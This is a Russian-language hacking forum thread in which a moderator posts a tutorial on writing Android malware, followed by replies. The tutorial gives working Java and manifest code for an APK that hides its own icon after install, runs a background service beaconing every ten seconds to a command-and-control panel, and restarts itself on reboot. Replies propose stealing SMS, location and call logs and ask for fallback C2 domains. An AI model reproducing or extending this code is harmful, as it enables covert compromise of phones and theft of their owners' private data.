Дата: 16/01/18 - 12:07 pm   9427 Тем и 91954 Сообщений

Автор Тема: Вирусы под андроид. Урок №1 (Начало начал)  (Прочитано 6715 раз)

0 Пользователей и 1 Гость просматривают эту тему.

Февраля 06, 2016, 03:49:16 pm
Прочитано 6715 раз

allmore

  • Moderator

  • Оффлайн
  • *****

  • 29
    13.12.15
  • Reputation:
    19
    • Black Cardinals
Будет наверное цикл статей, я пока еще не решил. Но интерес есть :)

Это моя первая статья, не перевод. Сильно не пинайте. Ну собственно поехали.

Как стать "хакером" андроида.
Да тут особо ни чего мудрить не надо. Просто идем по шагам.
1. Устанавливаем java для разработчиков с офф сайта. (http://www.oracle.com/technetwork/java/javase/downloads/index.html)
2. Качаем android studio (http://developer.android.com/sdk/index.html#Other) Качаем полную рекомендованую. Сейчас мы не будем вдаваться в эти все подробности. Оно нам надо?
3. Запасаемся бубликами и пивом. Ведь сейчас придется все это поставить и настроить.
4. Тыкаем в основном далее, не вдумываясь что там написано. Незачем забивать голову :)
5. После чего как мы установили все это. Запускаем студию. Ищем сверху значек SDK Manager. Он где-то справа. Нажимаем, ставим везде галки, соглашаемся с условиями и нажимаем инсталл.
6. Опять грызем бублики и пьем великолепное пиво. Тут процесс по дольше, так как будут выкачиваться виртуалки и всяческие тулзы.
7. Ну вот собственно и все.

Как все начиналось?
Мы все поставили, теперь стоит и подумать, а как тут теперь вирус написать :) А для этого мы идем в File -> New -> New project. И тут нам предлогают придумать название проекта и домен сайта компании. Вводим что взбредится в голову. На основе этих данных генерируется package имя. Которое использоется как уникальный идентефикатор нашего APK. Жмем далее. Тут нам предлогают выбрать платфурму под наш проект. Ну тут мы выбираем только Phone. Остальное рассмотрим позже. Далее. И теперь нам предлогают выбрать как будет выглядеть наше окошечко (Activity) стартовое, главное. Тут есть важная особенность. Чтобы запустить какой либо код сразу после установки, нужно чтобы было какой либо из окошек при старте. Поэтому выбираем любое кроме No Activity. Лучше всего выбрать Empty. Будет легче его вычищать, от ненужного мусора. Далее. Пишем название окошку и нажимаем Finish.

Будет немного времени , чтобы бахнуть еще пивка. Пока файлы нового проекта индексируются и настраивается сборщик проекта.

Эй, ты слишком жырный!
Пробуем собрать проект наш. Build -> Generate signed apk.. И что мы видим? APK  с 1 окошком и приложением которое ни чего не делает. Занимает 1 мегабайт. Надо с этим что-то делать, а именно отказывать от библиотек (AppCompat). Это красивая графика, которая нам не нужна.
Переходи в файл MainActivity.java
Заменяем
public class MainActivity extends AppCompatActivity
на
public class MainActivity extends Activity
Удаляем
import android.support.v7.app.AppCompatActivity;
Заходим в настройки проекта и во вкладке Dependes удаляем строку с AppCompat. Далее переходим к файлу values.xml и styles.xml. Удаляем их.
Заходим в androidManifest.xml и
меняем
android:theme="@style/AppTheme" 
на
android:theme="@android:style/Theme.Translucent.NoTitleBar"
Собираем наше приложение, ура! размер меньше 40 кб. Уже есть с чем работать.

Почему ты не прячешься?
Далее, нам нужно спрятать нашего зверька. Чтобы иконка не была видна в списке менеджера приложений. А так же надо закрыть наше приложение.
Вставляем после setContentView(R.layout.activity_main) Следующий код:

String pgkname = getApplicationContext().getPackageName();
ComponentName componentToDisable = new ComponentName(pgkname,pgkname+".MainActivity");
getApplicationContext().getPackageManager().setComponentEnabledSetting(
    componentToDisable,
    PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
    PackageManager.DONT_KILL_APP);
Этот код скроет нашу иконку с глаз И после всего этого пишем:
finish();
Теперь наше приложение после установки. Запускается и сразу же скрывается с глаз долой. Ух, проделали мы работу. Но надо идти дальше, а то бот не появиться в админке.

Тук, тук, открывайте, полиция!
Теперь мы должны сделать так, чтобы наш чудесный APK начал стучать в админку. Тут я уже пологаю, что админка где-то написана. И от нас требуется только стучать. Возьмеп самый простой метод, он не будет работать корректно на андроидах выше 4.х. Но с чего-то надо же учиться. Я же не за вас работу делаю. Нам нужно создать сервис. Для этого мы создаем файл с новым class. (Правой тыкаем в проекте, на папку Java). Название класса пишем к примеру Network. Нажимаем окей. Удаляем все содержимое файла кроме первой строки где прописан package и заменяем на
import android.app.Service;
import android.content.Intent;
import android.os.IBinder;

import org.apache.http.HttpResponse;
import org.apache.http.client.HttpClient;
import org.apache.http.client.methods.HttpGet;
import org.apache.http.client.methods.HttpPost;
import org.apache.http.entity.StringEntity;
import org.apache.http.impl.client.DefaultHttpClient;

import java.io.InputStream;
import java.util.Timer;
import java.util.TimerTask;

public class Network extends Service{

    @Override
    public int onStartCommand(Intent intent, int flags, int startId) {
        return Service.START_STICKY;
    }

    @Override
    public IBinder onBind(Intent intent) {
        throw new UnsupportedOperationException("");
    }

    @Override
    public void onCreate()
    {
        MyTimerTask myTask = new MyTimerTask();
        Timer myTimer = new Timer();
        myTimer.schedule(myTask, 10000, 10000);
    }

    class MyTimerTask extends TimerTask {
        public void run() {
            String result = "";
            result = GET("http://site.ru/?q=");
            // Обработка result

        }
    }

    public String GET(String url){
        InputStream inputStream = null;
        String result = "";
        try {
            HttpClient httpclient = new DefaultHttpClient();
            HttpResponse httpResponse = httpclient.execute(new HttpGet(url));
            inputStream = httpResponse.getEntity().getContent();
            if(inputStream != null)
                result = convertInputStreamToString(inputStream);
            else
                result = "";
        } catch (Exception e) {
        }
        return result;
    }
}
Это код описывает класс сервиса, в котором при запуске, запускает таймер и каждые 10 секунд отправляет GET запрос на URL и запрашивает ответ. Но это не все. Этот код не будет работать если мы объявим наш сервис в манифесте и не дадим права выходить в интернет нашему приложению. Идем в манифест.
Добавляем
<uses-permission android:name="android.permission.INTERNET" />
и в описание application
<service android:name=".Network" />
Осталось запустить наш сервис. Идем в MainActivity и перед finish() вставляем запуск сервиса
getApplicationContext().startService(new Intent(getApplicationContext(), Network.class));
Финишная линия
Теперь у нас есть апк, который сам себя скрывает после запуска и запускает процес отстука в админ панель. Где написано // Обработка result : там происходит обработка ответа и команд админки. Не сложно, правда? Но пока мы пили пиво. Мы совсем забыли, что если телефон перезагрузят. То наше приложение уже ни когда не запустится. Для этого мы идем опять в манифест.
Добавляем права на запуск после ребута:
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
Добавляем обязательно обработчик в описание application
   
   <receiver
            android:name=".Boot"
            android:enabled="true" >
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED" />
                <action android:name="android.intent.action.QUICKBOOT_POWERON" />
            </intent-filter>
        </receiver>
Теперь после перезапуска у нас вызовется класс Boot. И сейчас мы его создаим. Все делаем как я писал выше. Создали и удалили все кроме package.
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;

public class Boot extends BroadcastReceiver {

    @Override
    public void onReceive(Context context, Intent arg1) {
  context.startService(new Intent(context, Network.class));
    }
}

Конец, и пару слов.

Если есть вопросы, задавайте. В окончании у нас появился прям такой игрушечный бот (APK). Что послужит вам хорошей базой и внесет немного понимания, как это все работает. Спасибо за внимание. Надеюсь будет прододжение :) Сильно не пинайте, опыт первый, да и еще ночью пришлось писать. А вот критику хотелось бы услышать, чтобы след урок получился лучше.

Февраля 06, 2016, 10:25:42 pm
Ответ #1

Ar3s

  • Гость
Комментарий модератора [Ar3s:]  Пост для главной. Читай материал выше.
« Последнее редактирование: Февраля 06, 2016, 10:26:06 pm от Ar3s »

Февраля 09, 2016, 06:38:43 pm
Ответ #2

mr.abu


  • Оффлайн
  • *

  • 4
    09.02.16
  • Reputation:
    0
в следующей статье будет интересно услышать про написание админки

Февраля 09, 2016, 10:53:17 pm
Ответ #3

Ar3s

  • Гость
нененене.
Читаем СМС, геоданные, лог звонков, пишем в БД, проверяем доступ к сети. Если доступ есть - шлем в БД.

Февраля 10, 2016, 11:33:14 am
Ответ #4

allmore

  • Moderator

  • Оффлайн
  • *****

  • 29
    13.12.15
  • Reputation:
    19
    • Black Cardinals

Февраля 15, 2016, 01:59:47 pm
Ответ #5

TrueMind

  • Модератор

  • Оффлайн
  • ***

  • 162
    06.10.13
  • Reputation:
    58
Материал получился довольно интересный. Реквестируем за продолжение цикла статей на эту тему :).

Цитировать
Возьмеп самый простой метод, он не будет работать корректно на андроидах выше 4.х
Было бы круто написать еще почему это не будет работать выше 4.х, и где можно прочитать про это.
Главная польза капитала не в том, чтобы сделать больше денег, но в том, чтобы делать деньги ради улучшения жизни. © Генри Форд
[email protected] - велком :)

Февраля 15, 2016, 02:52:25 pm
Ответ #6

allmore

  • Moderator

  • Оффлайн
  • *****

  • 29
    13.12.15
  • Reputation:
    19
    • Black Cardinals
оно точнее будет работать, но работать до выключения экрана. Так как в 4.4 версиях такие сервисы засыпают или их останавливает Андроид. И там более сложные методы для реализации постоянного отстука.

Февраля 15, 2016, 09:57:13 pm
Ответ #7

user123


  • Оффлайн
  • *

  • 8
    05.09.15
  • Reputation:
    0
Цитировать
1. Устанавливаем java для разработчиков с офф сайта. (http://www.oracle.com/technetwork/java/javase/downloads/index.html)

тут есть:
Kit 8u73
Kit 8u74
а также:
Kit 8u73 Demos and Samples Downloads
Kit 8u74 Demos and Samples Downloads

что именно качать?

пробую скачивать - выкидывает на
Цитировать
https://edelivery.oracle.com/otn-pub/java/jdk/8u73-b02/jdk-8u73-windows-x64.exe
ну и скачки нет. у вас нормально всё? по линкам скачки загружается?

« Последнее редактирование: Февраля 15, 2016, 09:58:24 pm от user123 »

Февраля 15, 2016, 11:22:11 pm
Ответ #8

allmore

  • Moderator

  • Оффлайн
  • *****

  • 29
    13.12.15
  • Reputation:
    19
    • Black Cardinals
http://www.oracle.com/technetwork/java/jav...ds-2133151.html

кликай ацепт лицензии и скачивай последнюю Java SE Development Kit 8u74

Февраля 22, 2016, 02:21:24 pm
Ответ #9

sh4aa


  • Оффлайн
  • *

  • 7
    22.02.16
  • Reputation:
    0
Для новичка полезно, но вот хотелось бы знать что делать если хост не отвечает ?

Искал в сети реализацию, библиотеки, толку ноль.  :(

Хочется видеть примерно такую реализацию: Есть к примеру админка на 3 серверах, в боте же прописаны один основной и 2 резервных домена и в случае если основной упал, обращаться к живому хосту и ждать от него ответа, если ответа нет идет к следующему хосту.

Если все хосты дохлые, повторять через мин 20.

Как такое реализовать ??